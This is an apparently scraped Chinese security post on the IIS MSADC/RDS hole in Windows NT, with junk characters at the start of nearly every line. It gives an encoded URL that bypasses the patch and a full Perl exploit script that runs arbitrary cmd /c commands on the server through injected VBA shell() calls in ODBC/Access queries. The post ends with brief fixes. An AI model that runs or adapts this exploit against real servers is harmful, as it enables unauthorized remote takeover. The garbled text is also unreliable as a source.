IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
F~qZIg gD % k32 :qe 涉及程序：
AD^I1 ]2f Microsoft NT server
yNEU/>]>2 5y 5Dn!` 描述：
$|@vmv0 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
m(?{#aaq b- e 详细：
W1M322]>L 如果你没有时间读详细内容的话，就删除:
nT}Wx/aT c:\Program Files\Common Files\System\Msadc\msadcs.dll
F8 1EZ/ 有关的安全问题就没有了。
i9De+3VqKK @&E IH,c 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
ze uj K6
>\4'q 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
8PH4v\tJEK 关于利用ODBC远程漏洞的描述，请参看:
mNacLkh[ In?#?:Q@& http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pqb`g@ |,5|ZpgL 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
oQ,<Yx%E3 http://www.microsoft.com/security/bulletins/MS99-025faq.asp v*qb zW` -a VC` 这里不再论述。
UOf\pG 7n.Oem 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
)gSqO{Z !`RMXUV /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Osm))Ua( 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Eyjsbj8 %7}j|eS)G 9]w?mHslE #将下面这段保存为txt文件，然后: "perl -x 文件名"
"f_qG2A{ K)wWqC. #!perl
PU,$YPrZ #
8{/.1: # MSADC/RDS 'usage' (aka exploit) script
D>7J[ Yxg- #
T}=^D= # by rain.forest.puppy
OqDP{X: #
A9 g%> # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
r~h# # beta test and find errors!
K)! ^NT R'zi#FeP use Socket; use Getopt::Std;
v\4<6Z:4 getopts("e:vd:h:XR", \%args);
*9$SFe|&n: jq*`| m;Q print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
j}",+ H v pv sa?z;rP if (!defined $args{h} && !defined $args{R}) {
M*ZN]9{^. print qq~
;aW k- Usage: msadc.pl -h <host> { -d <delay> -X -v }
; h+~xxu=X -h <host> = host you want to scan (ip or domain)
[RN]?, -d <seconds> = delay between calls, default 1 second
:o {,F7(P -X = dump Index Server path table, if available
Gj-nT N -v = verbose
\>Rfa+ -e = external dictionary file for step 5
[%^sl>,7 -5 PVWL\ Or a -R will resume a command session
w6 cl3J& ^7gKs2M ~; exit;}
cP uXy e 5!fYTo|G> $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
) c\Y!vS if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
|,:p[Oy if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
+llb{~ZN if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
.4[3r[ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
T\bP8D if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
gee ~>l m<-!~ ew if (!defined $args{R}){ $ret = &has_msadc;
Sk>=C0f: die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
!pw )sO~ t~j 6w sx; print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Hrvy I)4{ . "cmd /c ";
CA C4A $in=<STDIN>; chomp $in;
<6Gs0\JB $command="cmd /c " . $in ;
X1`3KqK<9 4 k@n5JNa if (defined $args{R}) {&load; exit;}
/CNsGx%% 0t^FM< 7G print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
{<gv1Yht &try_btcustmr;
IJGw<cB]+ 15 Mt lb print "\nStep 2: Trying to make our own DSN...";
Oa~ThbX7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2vjkThh`I m
=b7
r print "\nStep 3: Trying known DSNs...";
px K&aY8 &known_dsn;
xt?-X%oY8 zG6l8%q'UE print "\nStep 4: Trying known .mdbs...";
KoNu{TJ &known_mdb;
7[;!e n O 8.B'O>\T if (defined $args{e}){
U _5` print "\nStep 5: Trying dictionary of DSN names...";
d'ZNp2L &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
zFExYY d
Ph[MXb:* print "Sorry Charley...maybe next time?\n";
D/ ."0 #q exit;
/Rq\Mgb "x=\mA#` ##############################################################################
'?veM X w/nohZF6H sub sendraw { # ripped and modded from whisker
~ h3G}EH sleep($delay); # it's a DoS on the server! At least on mine...
?<!q F:r: my ($pstr)=@_;
W^ L ^7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Z5 IWoY die("Socket problems\n");
bKCE;Wu:G if(connect(S,pack "SnA4x8",2,80,$target)){
MZ,1 mR select(S); $|=1;
b`#YJpA print $pstr; my @in=<S>;
YJ6~P select(STDOUT); close(S);
T[|#DMg$F return @in;
Qs,\P^n } else { die("Can't connect...\n"); }}
kx;X:I(5&P 3 ?*d v14 ##############################################################################
k9rws HD=F2p sub make_header { # make the HTTP request
b aII!ks my $msadc=<<EOT
hYkk r & POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
)C8^' *! User-Agent: ACTIVEDATA
w g?}c ;
Host: $ip
cr!W5+r Content-Length: $clen
Jh
E C Connection: Keep-Alive
XY'8oU`]{ R<&Euph ADCClientVersion:01.06
``WTg4C(Y Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
' 2 r }Kgi!$<aQx --!ADM!ROX!YOUR!WORLD!
~o^| >] Content-Type: application/x-varg
d,(y$V+ Content-Length: $reqlen
CwX?%$S
M
co:eE EOT
;pW8a? ; $msadc=~s/\n/\r\n/g;
Hloe7+5UD return $msadc;}
s0?'mC+p Qt+D ,X ##############################################################################
p< r<Y % 7_1 Iadb sub make_req { # make the RDS request
)- 3~^Y#r_ my ($switch, $p1, $p2)=@_;
LBy`N _@ my $req=""; my $t1, $t2, $query, $dsn;
Q jj }k) ES+ CAwqf if ($switch==1){ # this is the btcustmr.mdb query
pKc!sd C $query="Select * from Customers where City=" . make_shell();
kBR=a%kG $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
m|
,Tk:xH $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
zas&gsl-; ju m"T\ elsif ($switch==2){ # this is general make table query
SF:98#pg $query="create table AZZ (B int, C varchar(10))";
` Ow]@flLI $dsn="$p1";}
; CCg]hX FLMiW]?x elsif ($switch==3){ # this is general exploit table query
F6q= W#~ $query="select * from AZZ where C=" . make_shell();
VxN#\ D i& $dsn="$p1";}
ta)gOc)r
R 5?>4I"ne elsif ($switch==4){ # attempt to hork file info from index server
KY $query="select path from scope()";
k _V+;&: % $dsn="Provider=MSIDXS;";}
m0bxVV^DK! 7p. 8{zQ* elsif ($switch==5){ # bad query
.jQx2 O $query="select";
u;q
Q/Ftb $dsn="$p1";}
W/2y; @ *LB-V%{|' $t1= make_unicode($query);
?C2(q6X+s $t2= make_unicode($dsn);
K]m#~J3d> $req = "\x02\x00\x03\x00";
` 7iA?; $req.= "\x08\x00" . pack ("S1", length($t1));
%>*?uO`z[ $req.= "\x00\x00" . $t1 ;
6- wpR $req.= "\x08\x00" . pack ("S1", length($t2));
!}*vM@)1 $req.= "\x00\x00" . $t2 ;
5_!L "sJ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
i`sZP#h return $req;}
j-1V,V= aE 07# ##############################################################################
F7=9> , jo"nK,r sub make_shell { # this makes the shell() statement
\;0pjxq= return "'|shell(\"$command\")|'";}
SdlO]y9E }6[jJ`=gOx ##############################################################################
0e 8 66?`7j X sub make_unicode { # quick little function to convert to unicode
M]5l-i$ my ($in)=@_; my $out;
GhfhR^P for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
] & ]G return $out;}
DL bP$&o t_Eivm-,B ##############################################################################
M lWKfe< k H65k ( sub rdo_success { # checks for RDO return success (this is kludge)
6E) T;R(@ my (@in) = @_; my $base=content_start(@in);
3/vtx9D if($in[$base]=~/multipart\/mixed/){
#6@hVR. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
z\tY A return 0;}
7 {U[cG+a# xCL)<8[R,} ##############################################################################
|5;,]lbt On);SN' sub make_dsn { # this makes a DSN for us
k`>qb8 , my @drives=("c","d","e","f");
auN 8M. print "\nMaking DSN: ";
ek)rsxf1A foreach $drive (@drives) {
]rGd!"q print "$drive: ";
eM$a~4!d my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&H # l* "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
A(&\wd . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
TQeIAy $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
6'*6t S return 0 if $2 eq "404"; # not found/doesn't exist
o
Rk 'I if($2 eq "200") {
s8(Z&pQ foreach $line (@results) {
/TbJ CZ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
!m\B y%( } return 0;}
^e " 4@O" %tkqWK: ##############################################################################
;,Vdj[W$> D`n<!"xg@$ sub verify_exists {
ui8$ F
"I* my ($page)=@_;
L'
_%zO my @results=sendraw("GET $page HTTP/1.0\n\n");
t# M[w|5? return $results[0];}
8Ie0L3d- 7202N?a
{ ##############################################################################
,FYA*}[ b7xOm"X,N sub try_btcustmr {
dT1UYG}>j my @drives=("c","d","e","f");
)+ G0m,n my @dirs=("winnt","winnt35","winnt351","win","windows");
ajRht +{ q:vN3#=^qf foreach $dir (@dirs) {
eiOAbO#U print "$dir -> "; # fun status so you can see progress
im>/$!&OyI foreach $drive (@drives) {
QN;NuDHN print "$drive: "; # ditto
?>=vKU5 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
!U5Cwq $reqlenlen=length( "$reqlen" );
n>^9+Rx|i $clen= 206 + $reqlenlen + $reqlen;
aG" P[`>*C\9c my @results=sendraw(make_header() . make_req(1,$drive,$dir));
QncjSaEE if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
k"dE?v\cG else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
vRmzjd~ S]ndnxy"b ##############################################################################
?~^p:T !`U #Pjp. sub odbc_error {
WFug-#;e my (@in)=@_; my $base;
t- //. my $base = content_start(@in);
UHl1>(U if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$43CNnf3N $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`ER#S_} $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H6#SP~V $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6jal5<H return $in[$base+4].$in[$base+5].$in[$base+6];}
dZ,7q_r,~ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
A?ESjMy(R print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
<1V>0[[e $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
~8E f`zL {=^< yK2q ##############################################################################
CZv^,O(M?2 9 mv6 sub verbose {
HRd02tah my ($in)=@_;
S@L%X <Vm return if !$verbose;
dI,H:g print STDOUT "\n$in\n";}
%eu_Pr 6X ] %5gPfv[T ##############################################################################
G#^6H]`[J: Im`R2_( ] sub save {
Bm^8"SSN my ($p1, $p2, $p3, $p4)=@_;
# b= *hi`E open(OUT, ">rds.save") || print "Problem saving parameters...\n";
vns Mh
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
i\L7z)u close OUT;}
3V/|" R2s T 6rjtq ##############################################################################
KU0;}GSNX} W oMMAo~ sub load {
sr.!EQ ] my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
fVBu?<=d open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Uv3Fe% > @p=<IN>; close(IN);
1w?DSHe $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
kh*td(pfP9 $target= inet_aton($ip) || die("inet_aton problems");
4 vPK Dd print "Resuming to $ip ...";
Z@>WUw@ F $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
W QyMM@# if($p[1]==1) {
V_Y2 @4 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
771r(X?Fa $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
)0@&pEObm my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
`l}r&z(8 if (rdo_success(@results)){print "Success!\n";}
7y>{Y$n else { print "failed\n"; verbose(odbc_error(@results));}}
q/\Hh9` elsif ($p[1]==3){
{cYbM[}U" if(run_query("$p[3]")){
;ZLfb n3\ print "Success!\n";} else { print "failed\n"; }}
\M-$| 04Qt elsif ($p[1]==4){
fxX4 !r if(run_query($drvst . "$p[3]")){
4}=Z+tDu> print "Success!\n"; } else { print "failed\n"; }}
vn=0=( exit;}
e/ u (Re V_7QWIdiy> ##############################################################################
x\XOtjJr _S#3!Wx sub create_table {
u'EzY J7 my ($in)=@_;
xYWg1e$k $reqlen=length( make_req(2,$in,"") ) - 28;
-qndBS $reqlenlen=length( "$reqlen" );
%L;'C
v $clen= 206 + $reqlenlen + $reqlen;
wrt^0n'r)c my @results=sendraw(make_header() . make_req(2,$in,""));
XB-l[ 4? return 1 if rdo_success(@results);
}>u<, my $temp= odbc_error(@results); verbose($temp);
9 l9|w4YJs return 1 if $temp=~/Table 'AZZ' already exists/;
cn !Y7LVr return 0;}
J#& C&S 2 p= U5qM.O ##############################################################################
rY&Y5 8./ [ 6t!}q sub known_dsn {
/WKp\r( Hp # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
_-g? 6q my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
,t_Fo-i7vI "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Arb-,[kwN "banner", "banners", "ads", "ADCDemo", "ADCTest");
5hbQUF
,Q kUG3_ *1
. foreach $dSn (@dsns) {
oVSq#I4 print ".";
V|8`]QW@ next if (!is_access("DSN=$dSn"));
#/ Qe7:l if(create_table("DSN=$dSn")){
u ?n{r print "$dSn successful\n";
d4zqLD $A if(run_query("DSN=$dSn")){
PXYo@^ 3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
>Kc>=^=5 print "Something's borked. Use verbose next time\n";}}} print "\n";}
Z,osdF hd}"%9p ##############################################################################
;ywQk| r UF00K1dbz sub is_access {
" Q ~-C|x my ($in)=@_;
qrmJJSJ $reqlen=length( make_req(5,$in,"") ) - 28;
LMvsYc~]q $reqlenlen=length( "$reqlen" );
B3^ 4 ,' $clen= 206 + $reqlenlen + $reqlen;
h[O!kwE my @results=sendraw(make_header() . make_req(5,$in,""));
A[6$'IJ my $temp= odbc_error(@results);
{
+%S{=j verbose($temp); return 1 if ($temp=~/Microsoft Access/);
]+B# SIC; return 0;}
Lc<C1I 5= 'nM)= ##############################################################################
-l!;PV S| `_;VD?")*l sub run_query {
kOGpe'bV my ($in)=@_;
Qx mVImn" $reqlen=length( make_req(3,$in,"") ) - 28;
f}'E|:Z 7k $reqlenlen=length( "$reqlen" );
`" E | $clen= 206 + $reqlenlen + $reqlen;
Iz# h:O my @results=sendraw(make_header() . make_req(3,$in,""));
o|nj2 . return 1 if rdo_success(@results);
.hCOi<wB my $temp= odbc_error(@results); verbose($temp);
;Vad| - return 0;}
TY=BP! s UEJX0= ##############################################################################
*}\!&Zk" By 8C-jD sub known_mdb {
@GYM4T my @drives=("c","d","e","f","g");
GJA3 my @dirs=("winnt","winnt35","winnt351","win","windows");
Xa2QtJq my $dir, $drive, $mdb;
m(Cn'@i`"0 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{} ZQK CW Y'q # this is sparse, because I don't know of many
'W~O ? my @sysmdbs=( "\\catroot\\icatalog.mdb",
ipEs R/O "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
1@ H3!V4 "\\system32\\certmdb.mdb",
;&|ja]r "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
/._wXH 6M"]p my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
'$M=H. "\\cfusion\\cfapps\\forums\\forums_.mdb",
X.,1SYG[ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
33\{S$p "\\cfusion\\cfapps\\security\\realm_.mdb",
#{ M$%l> "\\cfusion\\cfapps\\security\\data\\realm.mdb",
5w`v
3o "\\cfusion\\database\\cfexamples.mdb",
' hL\xf{ "\\cfusion\\database\\cfsnippets.mdb",
gJ>?< F; "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
c8gdY` "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Z^AAC KME "\\cfusion\\brighttiger\\database\\cleam.mdb",
#`/KF_a3\> "\\cfusion\\database\\smpolicy.mdb",
1dOVH7 "\\cfusion\\database\cypress.mdb",
~?dPF;. 6_ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
,k/*f+t "\\website\\cgi-win\\dbsample.mdb",
ab tAkf "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
JLRw`V,o7 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Bya !pzbpr ); #these are just
L& lNpMT foreach $drive (@drives) {
UR?[ba_h foreach $dir (@dirs){
u( ? foreach $mdb (@sysmdbs) {
L
'342( print ".";
S
1|[}nY P if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
~xu<xy@E print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5A /G? if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
(hVhzw "~ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
lx~!FLn } else { print "Something's borked. Use verbose next time\n"; }}}}}
-.1x! ~.jX ow
~(k5k: foreach $drive (@drives) {
#OH-LWZh foreach $mdb (@mdbs) {
7[:9vY print ".";
Jk|c!,! if(create_table($drv . $drive . $dir . $mdb)){
w:& m_z#M print "\n" . $drive . $dir . $mdb . " successful\n";
8OZc:/ if(run_query($drv . $drive . $dir . $mdb)){
yuk64o2QE print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
X f9<kbRw/ } else { print "Something's borked. Use verbose next time\n"; }}}}
ld4Qh Zia }
S[{#AX=0 ju(&v*KA ##############################################################################
YQiTx)_ s6 w</ sub hork_idx {
3*3WO,9
print "\nAttempting to dump Index Server tables...\n";
#~q{6()e: print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
myFj w@ $reqlen=length( make_req(4,"","") ) - 28;
Tl %#N" $reqlenlen=length( "$reqlen" );
B +wSLi( $clen= 206 + $reqlenlen + $reqlen;
"kz``6C my @results=sendraw2(make_header() . make_req(4,"",""));
Ej
ip%m if (rdo_success(@results)){
l[l('-f my $max=@results; my $c; my %d;
f$NudG!S for($c=19; $c<$max; $c++){
G{i}z^n $results[$c]=~s/\x00//g;
!t{3IE $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6?Rm>+2>v $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
%7Z _Hw $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
&|IY =$- $d{"$1$2"}="";}
,Zb ]3 foreach $c (keys %d){ print "$c\n"; }
j{IAZs#@> } else {print "Index server doesn't seem to be installed.\n"; }}
v}IkY # h]m8 ##############################################################################
!!b5vzyve n fq sub dsn_dict {
QSW62 ]=vV open(IN, "<$args{e}") || die("Can't open external dictionary\n");
]ZelB,7q while(<IN>){
r
Ka 7[/ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
[P]zdw
w# next if (!is_access("DSN=$dSn"));
:O{`!&[>L if(create_table("DSN=$dSn")){
Y{B|*[xM print "$dSn successful\n";
m\__F l if(run_query("DSN=$dSn")){
bg*4Z?[dd print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
d Ayof= print "Something's borked. Use verbose next time\n";}}}
d%\ {, print "\n"; close(IN);}
>lU[
lf+/ ><viJ$i ##############################################################################
@H"~/ m_o :se o0 w ] sub sendraw2 { # ripped and modded from whisker
B t-o:)pa sleep($delay); # it's a DoS on the server! At least on mine...
# nwEF QA
my ($pstr)=@_;
3gaijVN socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<- Q=h?D die("Socket problems\n");
9; H R if(connect(S,pack "SnA4x8",2,80,$target)){
Qa ~o'
print "Connected. Getting data";
8 qt,sU open(OUT,">raw.out"); my @in;
'^'vafs-/@ select(S); $|=1; print $pstr;
YQv N;W while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
-~~"}u close(OUT); select(STDOUT); close(S); return @in;
f ."bq43( } else { die("Can't connect...\n"); }}
o"- >RC DnS#
cs~ ##############################################################################
K4YpE}]u \Y_2Z / sub content_start { # this will take in the server headers
dk t'~ my (@in)=@_; my $c;
R"EX$Zj^E for ($c=1;$c<500;$c++) {
]y>)es1 if($in[$c] =~/^\x0d\x0a/){
cu5Y vp if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
cJd~UQ<k else { return $c+1; }}}
~^cx a% return -1;} # it should never get here actually
S H2|xn $73 7o V< ##############################################################################
{O9 CYP: ml <X92Y sub funky {
obKWnet my (@in)=@_; my $error=odbc_error(@in);
1O>wXq7q if($error=~/ADO could not find the specified provider/){
l5F>v!NA
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ZdJwy% exit;}
HpSmB[WF if($error=~/A Handler is required/){
GoP,_sd\O print "\nServer has custom handler filters (they most likely are patched)\n";
Kq@n BkO4 exit;}
Kq
e,p{= if($error=~/specified Handler has denied Access/){
u[q1]] print "\nServer has custom handler filters (they most likely are patched)\n";
&4Q(>"iL4 exit;}}
Dj}n!M`2I bmgK6OyVR ##############################################################################
aT1T.3 a M 9'Qs m sub has_msadc {
7p%W)=v my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
T+ey>[ my $base=content_start(@results);
86NAa6BW return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
2\h}6D Gx2 return 0;}
< 7N 8L K KP}fN ########################
V9[-# Ti JRt^YX ~WXT0-, 解决方案：
'2mR;APz 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
c`}-i6 2、移除web 目录: /msadc
